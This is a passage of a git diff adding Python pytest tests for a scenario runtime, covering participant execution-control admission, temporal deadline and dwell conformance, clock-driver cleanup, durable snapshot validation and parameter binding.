raes_conformance.conformance.target_probes import _target_adapter_cases +from raes_contracts.contracts.participant_execution import ParticipantExecutionControlRequestModel +from raes_contracts.runtime_state import RuntimeSnapshot +from raes_processor.compiler import compile_runtime_model +from raes_runtime.control_plane import RuntimeControlPlane +from raes_runtime.manager import RuntimeManager + + +def test_empty_participant_feature_sets_are_valid_declarations() -> None: + capability = ParticipantRuntimeCapabilities(name="limited") + assert capability.supported_behavior_features == frozenset() + from raes_contracts.contracts.manifests import ParticipantRuntimeCapabilitiesModel + + wire = ParticipantRuntimeCapabilitiesModel( + name="limited", + supported_participant_roles=[], + supported_behavior_features=[], + supported_interaction_features=[], + ) + assert wire.supported_behavior_features == [] + + +def test_serial_backend_needs_neither_concurrency_nor_native_execution_control() -> None: + model = compile_runtime_model(parse_sdl(_scenario_yaml())) + manifest = _autonomous_manifest(model, with_realization_envelope=False) + capability = replace( + manifest.participant_runtime, + supports_execution_control=False, + supported_execution_control_actions=frozenset(), + supports_bounded_concurrency=False, + max_concurrent_actions=1, + max_autonomous_retries_per_occurrence=0, + ) + manifest = replace(manifest, capabilities=replace(manifest.capabilities, participant_runtime=capability)) + manifest = backend_manifest_from_v2_model(backend_manifest_v2_model(manifest)) + policy = next(iter(model.behavior_specifications.values())).autonomous_execution + assert participant_autonomous_execution_capability_gaps(manifest, [policy], model.time_model) == () + + +def test_activity_admission_requires_only_authored_features() -> None: + payload = yaml.safe_load(_activity_policy_yaml()) + authored = payload["behavior_specifications"]["participant-behavior"]["autonomous_execution"] + authored["timing"] = {"minimum_ticks": 10, "maximum_ticks": 10} + authored["max_burst_size"] = 1 + candidate = authored["action_candidates"]["portal_login"] + candidate.update(max_retries=0, retryable_failure_classes=[], cooldown_ticks=0) + model = compile_runtime_model(parse_sdl(yaml.safe_dump(payload))) + manifest = _autonomous_manifest(model) + capability = replace( + manifest.participant_runtime, + supported_autonomous_activity_features=frozenset( + {"work-windows", "weighted-selection", "occurrence-provenance"} + ), + ) + limited = replace(manifest, capabilities=replace(manifest.capabilities, participant_runtime=capability)) + policy = next(iter(model.behavior_specifications.values())).autonomous_execution + assert participant_autonomous_execution_capability_gaps(limited, [policy], model.time_model) == () + # A richer request remains valid SDL and fails only this pairing's admission. + candidate["cooldown_ticks"] = 10 + richer = compile_runtime_model(parse_sdl(yaml.safe_dump(payload))) + richer_policy = next(iter(richer.behavior_specifications.values())).autonomous_execution + gaps = participant_autonomous_execution_capability_gaps(limited, [richer_policy], richer.time_model) + assert any("cooldowns" in gap for gap in gaps) + assert participant_autonomous_execution_capability_gaps(manifest, [richer_policy], richer.time_model) == () + + +def test_execution_control_rejects_unclaimed_operation_before_calling_backend() -> None: + class RecordingRuntime(_NativeParticipantRuntime): + controls = [] + + def control_execution(self, request, snapshot): + self.controls.append(request.action) + return super().control_execution(request, snapshot) + + model = compile_runtime_model(parse_sdl(_scenario_yaml())) + manifest = _autonomous_manifest(model) + capability = replace(manifest.participant_runtime, supported_execution_control_actions=frozenset({"start"})) + manifest = replace(manifest, capabilities=replace(manifest.capabilities, participant_runtime=capability)) + runtime = RecordingRuntime() + target = replace(create_stub_target(), manifest=manifest, participant_runtime=runtime) + scope = "participant.autonomous-execution.green-activity" + snapshot = RuntimeSnapshot(participant_execution_services={scope: _service_state().model_dump(mode="json")}) + control_plane = RuntimeControlPlane(target, initial_snapshot=snapshot) + try: + control_plane.control_participant_execution( + ParticipantExecutionControlRequestModel(execution_scope_ref=scope, action="pause", expected_generation=0) + ) + assert runtime.controls == [] + assert control_plane.snapshot.participant_execution_services == snapshot.participant_execution_services + finally: + control_plane.close() + + +def test_conformance_probes_serial_execution_without_unclaimed_controls() -> None: + model = compile_runtime_model(parse_sdl(_scenario_yaml())) + manifest = _autonomous_manifest(model) + capability = replace( + manifest.participant_runtime, + supports_execution_control=False, + supported_execution_control_actions=frozenset(), + supports_bounded_concurrency=False, + max_concurrent_actions=1, + max_autonomous_participants=1, + ) + manifest = replace(manifest, capabilities=replace(manifest.capabilities, participant_runtime=capability)) + target = replace(create_stub_target(), manifest=manifest, participant_runtime=_NativeParticipantRuntime()) + cases = _target_adapter_cases(target, BackendCapabilityProfile.FULL_REMOTE_CONTROL_PLANE) + execution_cases = [case for case in cases if case.name.startswith("participant-execution-")] + assert [case.name for case in execution_cases] == ["participant-execution-bounded-native-actions"] + assert all(case.passed for case in execution_cases) + assert execution_cases[0].accounted_operations == ("admit-action",) + + +@pytest.mark.parametrize("action", ["start", "pause", "resume", "drain", "reset", "teardown"]) +def test_conformance_can_probe_one_claimed_control_without_requiring_the_others(action: str) -> None: + model = compile_runtime_model(parse_sdl(_scenario_yaml())) + manifest = _autonomous_manifest(model) + capability = replace(manifest.participant_runtime, supported_execution_control_actions=frozenset({action})) + manifest = replace(manifest, capabilities=replace(manifest.capabilities, participant_runtime=capability)) + target = replace(create_stub_target(), manifest=manifest, participant_runtime=_NativeParticipantRuntime()) + cases = _target_adapter_cases(target, BackendCapabilityProfile.FULL_REMOTE_CONTROL_PLANE) + control_cases = [ + case + for case in cases + if case.name.startswith("participant-execution-") + and case.name != "participant-execution-bounded-native-actions" + ] + assert {case.name for case in control_cases} == {f"participant-execution-{action}"} + assert all(case.passed for case in control_cases), control_cases + + +def test_unbound_deadline_is_not_admitted_as_an_enforced_guarantee() -> None: + payload = yaml.safe_load(_scenario_yaml()) + payload["temporal_constraints"]["finish-by-five"] = { + "constraint_kind": "deadline", + "clock_ref": "scenario-clock", + "subject_refs": ["participant-agent"], + "end": {"tick": 5}, + "description": "No action may finish after tick five.", + } + payload["behavior_specifications"]["participant-behavior"]["autonomous_execution"][ + "temporal_constraint_refs" + ].append("finish-by-five") + scenario = parse_sdl(yaml.safe_dump(payload)) + model = compile_runtime_model(scenario) + runtime = _NativeParticipantRuntime() + target = replace(create_stub_target(), manifest=_autonomous_manifest(model), participant_runtime=runtime) + manager = RuntimeManager(target) + plan = manager.plan(scenario) + assert any("deadline" in diagnostic.message and diagnostic.is_error for diagnostic in plan.diagnostics) + result = manager.apply(plan) + assert not result.success + assert runtime.native_actions == [] + + +def test_temporal_admission_requires_one_offer_for_the_exact_combination() -> None: + model = compile_runtime_model(parse_sdl(yaml.safe_dump(_bound_deadline_payload()))) + policy = next(iter(model.behavior_specifications.values())).autonomous_execution + manifest = _autonomous_manifest(model, with_realization_envelope=False) + capability = manifest.participant_runtime + offer = replace( + capability.execution_bindings[0], temporal_contract_digests=(policy.temporal_bindings[0].contract_digest,) + ) + sufficient = replace( + manifest, + capabilities=replace( + manifest.capabilities, participant_runtime=replace(capability, execution_bindings=(offer,)) + ), + ) + restored = backend_manifest_from_v2_model(backend_manifest_v2_model(sufficient)) + assert participant_autonomous_execution_capability_gaps(restored, [policy], model.time_model) == () + wrong = replace(offer, temporal_contract_digests=("sha256:" + "0" * 64,)) + insufficient = replace( + manifest, + capabilities=replace( + manifest.capabilities, participant_runtime=replace(capability, execution_bindings=(wrong,)) + ), + ) + assert any( + "temporal" in gap + for gap in participant_autonomous_execution_capability_gaps(insufficient, [policy], model.time_model) + ) + + +def test_reference_runtime_rejects_bound_manual_policy_without_invalidating_sdl() -> None: + payload = _bound_deadline_payload() + scenario, target = _temporal_target(payload) + payload["behavior_specifications"]["participant-behavior"].pop("autonomous_execution") + scenario = parse_sdl(yaml.safe_dump(payload)) + manager = RuntimeManager(target) + plan = manager.plan(scenario) + assert any(d.code == "runtime.participant-temporal-driver-unsupported" for d in plan.diagnostics) + result = manager.apply(plan) + assert not result.success + assert sum(d.code == "runtime.participant-temporal-driver-unsupported" for d in result.diagnostics) == 1 + assert target.participant_runtime.native_actions == [] + + +@pytest.mark.parametrize("claims", ["sufficient", "no-temporal", "no-participant"]) +def test_manual_ingress_cannot_bypass_bound_temporal_execution(claims: str) -> None: + class RecordingRuntime(_TemporalEvidenceRuntime): + def bind_autonomous_action(self, *args, **kwargs): + self.last_request = super().bind_autonomous_action(*args, **kwargs) + return self.last_request + + runtime = RecordingRuntime() + scenario, target = _temporal_target(_bound_deadline_payload(), runtime) + manager = RuntimeManager(target) + plan = manager.plan(scenario) + result = manager.apply(plan) + assert result.success + request = replace(runtime.last_request, temporal_contexts=()) + native_calls = len(runtime.native_actions) + if claims != "sufficient": + capability = target.manifest.participant_runtime + capability = ( + None + if claims == "no-participant" + else replace( + capability, + execution_bindings=tuple( + replace(offer, temporal_contract_digests=()) for offer in capability.execution_bindings + ), + ) + ) + target = replace( + target, + participant_runtime=runtime if capability is not None else None, + manifest=replace( + target.manifest, + capabilities=replace( + target.manifest.capabilities, + participant_runtime=capability, + time=replace(target.manifest.time, supports_coordinated_participant_reset=False), + ), + ), + ) + control = RuntimeControlPlane(target, initial_snapshot=result.snapshot) + try: + participant = plan.model.participant_behaviors[request.participant_address] + receipt = control.admit_participant_action(participant, request) + assert not receipt.accepted + assert len(runtime.native_actions) == native_calls + finally: + control.close() + + +@pytest.mark.parametrize("evidence", [False, True]) +def test_temporal_conformance_executes_claimed_guarantee(evidence: bool) -> None: + from raes_conformance.conformance.participant_temporal_probes import participant_temporal_scenario_case + + scenario, target = _temporal_target(_bound_deadline_payload(), _TemporalEvidenceRuntime() if evidence else None) + case = participant_temporal_scenario_case(target, scenario) + assert case.passed is evidence + assert target.participant_runtime.native_actions + assert bool(case.evidence_refs) is evidence + + +def test_temporal_conformance_checks_admission_before_native_execution() -> None: + from raes_conformance.conformance.participant_temporal_probes import participant_temporal_scenario_case + + scenario, target = _temporal_target(_bound_deadline_payload(), _TemporalEvidenceRuntime()) + model = compile_runtime_model(scenario) + target = replace(target, manifest=_autonomous_manifest(model)) + case = participant_temporal_scenario_case(target, scenario) + assert not case.passed + assert target.participant_runtime.native_actions == [] + + +@pytest.mark.parametrize("validation_error", [False, True]) +def test_temporal_conformance_does_not_disclose_rejected_input(monkeypatch, validation_error: bool) -> None: + from raes_conformance.conformance import participant_temporal_probes as probes + from raes_contracts.contracts.participant_temporal import ParticipantTemporalAssessmentModel + + marker = "private-payload-must-not-appear" + + def reject(_snapshot): + if validation_error: + ParticipantTemporalAssessmentModel.model_validate({"status": marker}) + raise ValueError(marker) + + monkeypatch.setattr(probes, "require_participant_temporal_history", reject) + scenario, target = _temporal_target(_bound_deadline_payload(), _TemporalEvidenceRuntime()) + case = probes.participant_temporal_scenario_case(target, scenario) + assert not case.passed + assert case.diagnostics + assert marker not in repr(case) + + +def test_admission_does_not_union_incompatible_temporal_offers() -> None: + from copy import deepcopy + + payload = _bound_deadline_payload() + action = payload["action_contracts"]["probe-customer-portal-login"] + second = deepcopy(action["temporal_contracts"][0]) + second.update(temporal_id="start", event_points=["start", "deadline"]) + second["shared_time_binding"]["event_point"] = "start" + action["temporal_contracts"].append(second) + action["backend_timing_disclosures"][0]["affected_temporal_ids"].append("start") + scenario, target = _temporal_target(payload) + model = compile_runtime_model(scenario) + policy = next(iter(model.behavior_specifications.values())).autonomous_execution + capability = target.manifest.participant_runtime + offer = capability.execution_bindings[0] + assert len(offer.temporal_contract_digests) == 2 + split = tuple( + replace(offer, binding_id=f"offer.{index}", temporal_contract_digests=(digest,)) + for index, digest in enumerate(offer.temporal_contract_digests) + ) + manifest = replace( + target.manifest, + capabilities=replace( + target.manifest.capabilities, participant_runtime=replace(capability, execution_bindings=split) + ), + ) + assert participant_autonomous_execution_capability_gaps(target.manifest, [policy], model.time_model) == () + assert any( + "temporal" in gap + for gap in participant_autonomous_execution_capability_gaps(manifest, [policy], model.time_model) + ) diff --git a/implementations/python/tests/test_act_614_temporal_conformance.py b/implementations/python/tests/test_act_614_temporal_conformance.py new file mode 100644 index 000000000..b423440e4 --- /dev/null +++ b/implementations/python/tests/test_act_614_temporal_conformance.py @@ -0,0 +1,113 @@ +"""Ownership of the temporal conformance probe's local clock driver.""" + +import pytest +from implementations.python.tests._act_614_temporal_fixtures import ( + _bound_deadline_payload, + _temporal_target, + _TemporalEvidenceRuntime, +) +from raes_conformance.conformance import participant_temporal_probes as probes +from raes_runtime.manager import RuntimeManager + + +def _wall_paced_target(mode): + payload = _bound_deadline_payload() + progression = payload["time_progression_policies"]["scenario-progression"] + progression["advancement_mode"] = mode + progression.pop("step_ticks") + if mode == "dilated": + progression["pacing_ratio"] = {"numerator": 2, "denominator": 1} + # Leave a future attempt pending without relying on a timed sleep in the test. + payload["temporal_constraints"]["green-cadence"]["cadence_ticks"] = 1000000 + return _temporal_target(payload, _TemporalEvidenceRuntime()) + + +@pytest.mark.parametrize("mode", ["real_time", "dilated"]) +@pytest.mark.parametrize("failure_stage", [None, "apply", "advance", "validation"]) +def test_temporal_probe_joins_its_clock_driver_on_every_exit(monkeypatch, mode, failure_stage): + drivers = [] + threads = [] + + class ObservedManager(RuntimeManager): + def apply(self, plan): + result = super().apply(plan) + assert result.success + driver = self._participant_clock_driver + assert driver is not None + assert driver.active + drivers.append(driver) + threads.append(driver._thread) + if failure_stage == "apply": + raise ValueError("fixture apply failure after driver startup") + return result + + def advance_time(self, *args, **kwargs): + if failure_stage == "advance": + raise ValueError("fixture advance failure") + return super().advance_time(*args, **kwargs) + + def reject_snapshot(_snapshot): + raise ValueError("fixture validation failure") + + monkeypatch.setattr( + probes, + "participant_temporal_probe_manager", + lambda target, *, stochastic_controls=(): ObservedManager(target, stochastic_controls=stochastic_controls), + ) + if failure_stage == "validation": + monkeypatch.setattr(probes, "require_participant_temporal_history", reject_snapshot) + scenario, target = _wall_paced_target(mode) + try: + case = probes.participant_temporal_scenario_case( + target, + scenario, + clock_advances=(("time.clock.scenario-clock", 1),) if failure_stage == "advance" else (), + ) + assert case.passed is (failure_stage is None) + assert len(target.participant_runtime.native_actions) == 1 + assert drivers + assert all(not driver.active for driver in drivers) + assert all(not thread.is_alive() for thread in threads) + finally: + for driver in drivers: + assert driver.stop() + + +@pytest.mark.parametrize("raises", [False, True]) +def test_temporal_probe_reports_unsuccessful_driver_shutdown(monkeypatch, raises): + shutdowns = [] + managers = [] + marker = "private-shutdown-detail" + + class StopFailureManager(RuntimeManager): + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + managers.append(self) + + def _stop_participant_clock_driver(self): + driver = self._participant_clock_driver + stopped = super()._stop_participant_clock_driver() + if driver is not None: + shutdowns.append(stopped) + if raises: + raise RuntimeError(marker) + return False + return stopped + + monkeypatch.setattr( + probes, + "participant_temporal_probe_manager", + lambda target, *, stochastic_controls=(): StopFailureManager(target, stochastic_controls=stochastic_controls), + ) + scenario, target = _wall_paced_target("real_time") + try: + case = probes.participant_temporal_scenario_case(target, scenario) + assert shutdowns == [True] + assert not case.passed + assert case.cleanup_verified is False + assert case.residual_state + assert any(d.code == "conformance.participant-clock-driver-stop-failed" for d in case.diagnostics) + assert marker not in repr(case) + finally: + for manager in managers: + assert RuntimeManager._stop_participant_clock_driver(manager) diff --git a/implementations/python/tests/test_act_614_temporal_durability.py b/implementations/python/tests/test_act_614_temporal_durability.py new file mode 100644 index 000000000..621e50850 --- /dev/null +++ b/implementations/python/tests/test_act_614_temporal_durability.py @@ -0,0 +1,234 @@ +"""ACT-614 temporal durability.""" + +from __future__ import annotations + +import pytest +import yaml +from implementations.python.tests._act_614_temporal_fixtures import ( + _bound_deadline_payload, + _bound_dwell_payload, + _DwellEvidenceRuntime, + _temporal_target, + _TemporalEvidenceRuntime, +) +from implementations.python.tests.test_dsl_437_benign_participant_execution import ( + _activity_policy_yaml, + _scenario_yaml, +) +from implementations.python.tests.test_issue_899_participant_resource_budgets import _budget_policy_yaml +from raes.parser import parse_sdl +from raes_processor.compiler import compile_runtime_model +from raes_runtime.manager import RuntimeManager + + +def _validate_snapshot_envelope(payload: dict[str, object]) -> object: + from raes_contracts.contracts import RuntimeSnapshotEnvelopeModel + + return RuntimeSnapshotEnvelopeModel.model_validate(payload) + + +def test_history_view_returns_completed_temporal_assessments() -> None: + from implementations.python.tests.test_runtime_control_plane_api import _test_security + from raes_runtime.control_plane import RuntimeControlPlane + from raes_runtime.control_plane_api import create_control_plane_app + from starlette.testclient import TestClient + + scenario, target = _temporal_target(_bound_deadline_payload(), _TemporalEvidenceRuntime()) + manager = RuntimeManager(target) + result = manager.apply(manager.plan(scenario)) + assert result.success + participant, history = next(iter(result.snapshot.participant_behavior_history.items())) + control = RuntimeControlPlane(target, initial_snapshot=result.snapshot) + try: + view = control.get_participant_history_view(participant, history[-1]["episode_id"]) + assert view is not None + assert view.behavior_history[-1].temporal_assessments[0].status == "met" + assert ( + view.model_dump(mode="json", exclude_none=True, exclude_defaults=True)["behavior_history"][-1][ + "temporal_assessments" + ] + == history[-1]["temporal_assessments"] + ) + with TestClient(create_control_plane_app(control, security=_test_security(target.name))) as client: + response = client.get( + f"/participants/{participant}/episodes/{history[-1]['episode_id']}/history", + headers={"x-raes-client-verified": "true", "x-raes-client-identity": "backend-service"}, + ) + assert response.status_code == 200 + assert response.json()["behavior_history"][-1]["temporal_assessments"][0]["status"] == "met" + finally: + control.close() + + +@pytest.mark.parametrize("kind", ["deadline", "dwell"]) +def test_bound_temporal_evidence_survives_durable_snapshot_roundtrip(kind: str) -> None: + from raes_runtime.control_plane_store_snapshots import _snapshot_from_payload, _snapshot_payload + + payload, runtime = ( + (_bound_deadline_payload(), _TemporalEvidenceRuntime()) + if kind == "deadline" + else (_bound_dwell_payload(), _DwellEvidenceRuntime()) + ) + scenario, target = _temporal_target(payload, runtime) + manager = RuntimeManager(target) + result = manager.apply(manager.plan(scenario)) + if kind == "dwell": + result = manager.advance_time("time.clock.scenario-clock", ticks=10) + assert result.success + restored = _snapshot_from_payload(_snapshot_payload(result.snapshot)) + assert restored.participant_behavior_history == result.snapshot.participant_behavior_history + + +@pytest.mark.parametrize("surface", ["store", "api"]) +@pytest.mark.parametrize( + "mutation", + [ + "status", + "missing", + "scope", + "bound", + "clock", + "native-proof", + "extra-proof", + "duplicate-proof", + "attempt-context", + "stripped-terminal", + "truncated-history", + "native-disposition", + ], +) +def test_durable_restore_rejects_inconsistent_temporal_assessment(mutation: str, surface: str) -> None: + from copy import deepcopy + + from raes_runtime.control_plane_store_snapshots import _snapshot_from_payload, _snapshot_payload + + scenario, target = _temporal_target(_bound_deadline_payload(), _TemporalEvidenceRuntime()) + manager = RuntimeManager(target) + result = manager.apply(manager.plan(scenario)) + assert result.success + payload = deepcopy(_snapshot_payload(result.snapshot)) + observation = next(iter(payload["participant_behavior_history"].values()))[-1] + assessment = observation["temporal_assessments"][0] + if mutation == "missing": + observation.pop("temporal_assessments") + elif mutation == "status": + assessment["status"] = "missed" + elif mutation == "scope": + assessment["context"]["action_instance_id"] = "another" + elif mutation == "bound": + assessment["context"]["bound_end"]["tick"] = 999 + elif mutation == "native-proof": + observation["action_result"]["temporal_evidence"] = [] + elif mutation in {"extra-proof", "duplicate-proof"}: + proof = deepcopy(observation["action_result"]["temporal_evidence"][0]) + if mutation == "extra-proof": + proof["context"]["participant_address"] = "participant.behavior.foreign" + observation["action_result"]["temporal_evidence"].append(proof) + elif mutation == "stripped-terminal": + observation.pop("temporal_assessments") + observation["temporal_contexts"] = [] + elif mutation == "truncated-history": + next(iter(payload["participant_behavior_history"].values())).pop() + elif mutation == "native-disposition": + next(iter(payload["participant_behavior_history"].values()))[0]["admission_disposition"] = "rejected" + elif mutation == "attempt-context": + next(iter(payload["participant_behavior_history"].values()))[0]["temporal_contexts"][0]["shared_time"][ + "execution_generation" + ] += 1 + else: + assessment["context"]["clock_sequence"] = 999 + validator = _snapshot_from_payload if surface == "store" else _validate_snapshot_envelope + with pytest.raises(ValueError, match="temporal"): + validator(payload) + + +def test_pre_dispatch_rejection_survives_semantic_history_projection() -> None: + from raes_processor.models.history_event import ParticipantBehaviorHistoryEvent + + payload = _bound_deadline_payload() + payload["temporal_constraints"]["green-cadence"]["start"] = {"tick": 10} + scenario, target = _temporal_target(payload) + manager = RuntimeManager(target) + assert manager.apply(manager.plan(scenario)).success + result = manager.advance_time("time.clock.scenario-clock", ticks=10) + raw = next(iter(result.snapshot.participant_behavior_history.values()))[-1] + projected = ParticipantBehaviorHistoryEvent.from_payload(raw).to_payload() + assert projected["action_result"]["status"] == "rejected" + assert projected["temporal_assessments"] == raw["temporal_assessments"] + + +def test_temporal_binding_changes_policy_identity_without_changing_legacy_identity() -> None: + from raes_runtime.participant_scheduler_policy import _policy_digest + + payload = _bound_deadline_payload() + before = compile_runtime_model(parse_sdl(yaml.safe_dump(payload))) + payload["temporal_constraints"]["finish-by-five"]["end"]["tick"] = 6 + after = compile_runtime_model(parse_sdl(yaml.safe_dump(payload))) + left = next(iter(before.behavior_specifications.values())).autonomous_execution + right = next(iter(after.behavior_specifications.values())).autonomous_execution + assert _policy_digest(left, before.time_model) != _policy_digest(right, after.time_model) + + +@pytest.mark.parametrize( + ("source", "digest"), + [ + (_scenario_yaml, "sha256:2fb5d1cbbde0d3c7554fac379e1f58fd39f6b74c98b0267f28fcd7b9a4cca9d8"), + (_activity_policy_yaml, "sha256:a21ca455eaad03aa66c54f32a7feca856c680e24fd9d1a162fc2961cd9802dd6"), + (_budget_policy_yaml, "sha256:134f735fe9608e97bc1f87b80298dc4a7193cbb7b88bea3069c3196529ab9c6b"), + ], +) +def test_unbound_profiles_retain_pre_change_policy_identity(source, digest: str) -> None: + from raes_runtime.participant_scheduler_policy import _policy_digest + + model = compile_runtime_model(parse_sdl(source())) + policy = next(iter(model.behavior_specifications.values())).autonomous_execution + assert _policy_digest(policy, model.time_model) == digest + + +def test_semantic_history_projection_preserves_bound_context_evidence_and_assessment() -> None: + from copy import deepcopy + + from raes_processor.models.history_event import ParticipantBehaviorHistoryEvent + + scenario, target = _temporal_target(_bound_deadline_payload(), _TemporalEvidenceRuntime()) + manager = RuntimeManager(target) + result = manager.apply(manager.plan(scenario)) + raw = deepcopy(next(iter(result.snapshot.participant_behavior_history.values()))[-1]) + outcome = raw["action_result"] + outcome["preconditions"] = [ + { + "precondition_id": "portal-present", + "precondition_class": "target", + "status": "satisfied", + **{ + key: outcome[key] + for key in ("participant_address", "episode_id", "action_contract_address", "observation_point") + }, + "support_refs": ["nodes.customer-portal"], + } + ] + outcome["effects"] = [ + { + "effect_id": "response", + "effect_class": "observation_effect", + "description": "Reference response recorded.", + "evidence_refs": ["evidence:reference-response"], + } + ] + outcome["resource_measurements"] = [ + { + "budget_state_ref": "budget.tokens", + "operation_id": outcome["action_instance_id"], + "execution_generation": 0, + "resource_kind": "inference_tokens", + "unit": "tokens", + "meter_profile_ref": "meter.tokens/v1", + "measured": 7, + "evidence_refs": ["evidence:meter"], + } + ] + projected = ParticipantBehaviorHistoryEvent.from_payload(raw).to_payload() + assert projected["temporal_contexts"][0]["shared_time"] == raw["temporal_contexts"][0]["shared_time"] + assert projected["temporal_assessments"] == raw["temporal_assessments"] + assert projected["action_result"]["temporal_evidence"] == outcome["temporal_evidence"] + assert projected["action_result"]["resource_measurements"] == outcome["resource_measurements"] diff --git a/implementations/python/tests/test_act_614_temporal_profiles.py b/implementations/python/tests/test_act_614_temporal_profiles.py new file mode 100644 index 000000000..8d417c290 --- /dev/null +++ b/implementations/python/tests/test_act_614_temporal_profiles.py @@ -0,0 +1,341 @@ +"""ACT-614 temporal profiles.""" + +from __future__ import annotations + +from pathlib import Path + +import pytest +import yaml +from implementations.python.tests._act_614_temporal_fixtures import ( + _bound_deadline_payload, + _bound_dwell_payload, +) +from implementations.python.tests.test_dsl_437_benign_participant_execution import ( + IMPLEMENTATION_REF, + _activity_policy_yaml, + _autonomous_manifest, + _scenario_yaml, +) +from implementations.python.tests.test_issue_899_participant_resource_budgets import _budget_policy_yaml +from pydantic import ValidationError +from raes._errors import SDLInstantiationError, SDLParseError, SDLValidationError +from raes._module_symbols import HASHMAP_SECTIONS +from raes.instantiate import instantiate_scenario +from raes.parser import parse_sdl, parse_sdl_file +from raes.participant_execution import ParticipantActivityTiming +from raes_backend_protocols.capability_admission import participant_autonomous_execution_capability_gaps +from raes_processor.compiler import compile_runtime_model + + +def test_bound_dwell_requires_its_selected_event_to_be_declared() -> None: + payload = _bound_dwell_payload() + temporal = payload["action_contracts"]["probe-customer-portal-login"]["temporal_contracts"][0] + temporal["event_points"] = ["window_open", "window_close"] + source = yaml.safe_dump(payload) + with pytest.raises(SDLParseError, match="declared event_point"): + parse_sdl(source) + + +@pytest.mark.parametrize("source", [_scenario_yaml, _activity_policy_yaml, _budget_policy_yaml]) +@pytest.mark.parametrize("export_private", [False, True]) +def test_repeated_profile_imports_resolve_nested_references(tmp_path: Path, source, export_private: bool) -> None: + payload = yaml.safe_load(source()) + # Role selectors intentionally select every matching participant in the + # composed scenario. These module instances select their explicit owner. + payload["behavior_specifications"]["participant-behavior"]["participant_role_refs"] = [] + exports = {"behavior_specifications": ["participant-behavior"]} + if export_private: + exports = {section: list(payload[section]) for section in HASHMAP_SECTIONS if payload.get(section)} + payload["module"] = {"id": "examples/temporal-profile", "version": "1.0.0", "exports": exports} + (tmp_path / "profile.yaml").write_text(yaml.safe_dump(payload), encoding="utf-8") + root = tmp_path / "scenario.yaml" + root.write_text( + yaml.safe_dump( + { + "name": "repeated-profile-imports", + "imports": [{"path": "profile.yaml", "namespace": namespace} for namespace in ("office", "lab")], + } + ), + encoding="utf-8", + ) + + scenario = parse_sdl_file(root) + runtime = compile_runtime_model(scenario) + assert len(runtime.behavior_specifications) == 2 + for namespace in ("office", "lab"): + prefix = namespace if export_private else f"{namespace}.__private" + policy = scenario.behavior_specifications[f"{namespace}.participant-behavior"].autonomous_execution + assert policy.clock_ref == f"{prefix}.scenario-clock" + assert policy.progression_policy_ref == f"{prefix}.scenario-progression" + assert policy.observation_boundary_ref == f"{prefix}.participant-view" + assert policy.participant_implementation_ref == IMPLEMENTATION_REF + if policy.profile == "participant-autonomous-execution/v1": + assert policy.action_order == [f"{prefix}.probe-customer-portal-login"] + assert policy.temporal_constraint_refs == [f"{prefix}.green-cadence"] + else: + assert policy.work_window_refs == [f"{prefix}.work-window"] + assert policy.pause_window_refs == [f"{prefix}.pause-window"] + assert policy.stochastic_control_ref == "green-activity-policy" + assert set(policy.action_candidates) == {"portal_login"} + assert policy.action_candidates["portal_login"].action_ref == f"{prefix}.probe-customer-portal-login" + action = scenario.action_contracts[f"{prefix}.probe-customer-portal-login"] + target = f"nodes.{prefix}.customer-portal.services.http" + assert target in action.preconditions[0].support_refs + assert action.effects[0].target_refs == [target] + boundary = scenario.observation_boundaries[f"{prefix}.participant-view"] + assert all(set(rule.evidence_refs) <= set(boundary.evidence_refs) for rule in boundary.view_rules) + + +def test_activity_timing_accepts_typed_whole_field_parameters() -> None: + payload = yaml.safe_load(_activity_policy_yaml()) + payload["variables"] = {"interval": {"type": "integer", "required": True}} + payload["behavior_specifications"]["participant-behavior"]["autonomous_execution"]["timing"] = { + "minimum_ticks": "${interval}", + "maximum_ticks": "${interval}", + } + scenario = parse_sdl(yaml.safe_dump(payload)) + assert ( + scenario.behavior_specifications["participant-behavior"].autonomous_execution.timing.minimum_ticks + == "${interval}" + ) + bound = instantiate_scenario(scenario, {"interval": 20}) + assert bound.behavior_specifications["participant-behavior"].autonomous_execution.timing.minimum_ticks == 20 + compile_runtime_model(bound) + + +@pytest.mark.parametrize( + ("source", "path", "value"), + [ + (_scenario_yaml, ("max_action_attempts",), 4), + (_scenario_yaml, ("max_in_flight",), 2), + (_activity_policy_yaml, ("max_occurrences",), 4), + (_activity_policy_yaml, ("max_action_attempts",), 24), + (_activity_policy_yaml, ("max_burst_size",), 3), + (_activity_policy_yaml, ("max_in_flight",), 2), + (_activity_policy_yaml, ("action_candidates", "portal_login", "weight"), 7), + (_activity_policy_yaml, ("action_candidates", "portal_login", "max_retries"), 1), + (_activity_policy_yaml, ("action_candidates", "portal_login", "cooldown_ticks"), 0), + (_budget_policy_yaml, ("max_in_flight",), 1), + ], +) +def test_policy_numeric_parameters_bind_before_dependent_validation(source, path: tuple[str, ...], value: int) -> None: + payload = yaml.safe_load(source()) + payload["variables"] = {"bound": {"type": "integer", "required": True}} + field = payload["behavior_specifications"]["participant-behavior"]["autonomous_execution"] + for key in path[:-1]: + field = field[key] + field[path[-1]] = "${bound}" + scenario = parse_sdl(yaml.safe_dump(payload)) + bound = instantiate_scenario(scenario, {"bound": value}) + compiled = compile_runtime_model(bound) + assert len(compiled.behavior_specifications) == 1 + field = bound.behavior_specifications["participant-behavior"].autonomous_execution.model_dump() + for key in path: + field = field[key] + assert field == value + with pytest.raises(SDLInstantiationError): + instantiate_scenario(scenario, {"bound": True}) + with pytest.raises(SDLInstantiationError): + instantiate_scenario(scenario) + + +@pytest.mark.parametrize("value", [True, 1.0, 1.5, float("inf"), 0, -1, 1_000_000_001, "${interval}ticks"]) +def test_activity_numeric_fields_reject_non_integer_or_out_of_bounds_values(value: object) -> None: + with pytest.raises(ValidationError): + ParticipantActivityTiming(minimum_ticks=value, maximum_ticks=30) + + +def test_bound_interval_rechecks_order_and_stepped_reachability() -> None: + payload = yaml.safe_load(_activity_policy_yaml()) + payload["variables"] = {"minimum": {"type": "integer", "required": True}} + payload["behavior_specifications"]["participant-behavior"]["autonomous_execution"]["timing"]["minimum_ticks"] = ( + "${minimum}" + ) + scenario = parse_sdl(yaml.safe_dump(payload)) + for value in (40, 11): + with pytest.raises(SDLInstantiationError): + instantiate_scenario(scenario, {"minimum": value}) + + +@pytest.mark.parametrize( + ("source", "path", "invalid"), + [ + (_activity_policy_yaml, ("max_occurrences",), 999), + (_activity_policy_yaml, ("max_burst_size",), 999), + (_activity_policy_yaml, ("action_candidates", "portal_login", "max_retries"), 0), + (_budget_policy_yaml, ("max_in_flight",), 2), + ], +) +def test_numeric_binding_rechecks_cross_field_constraints(source, path, invalid) -> None: + payload = yaml.safe_load(source()) + payload["variables"] = {"bound": {"type": "integer", 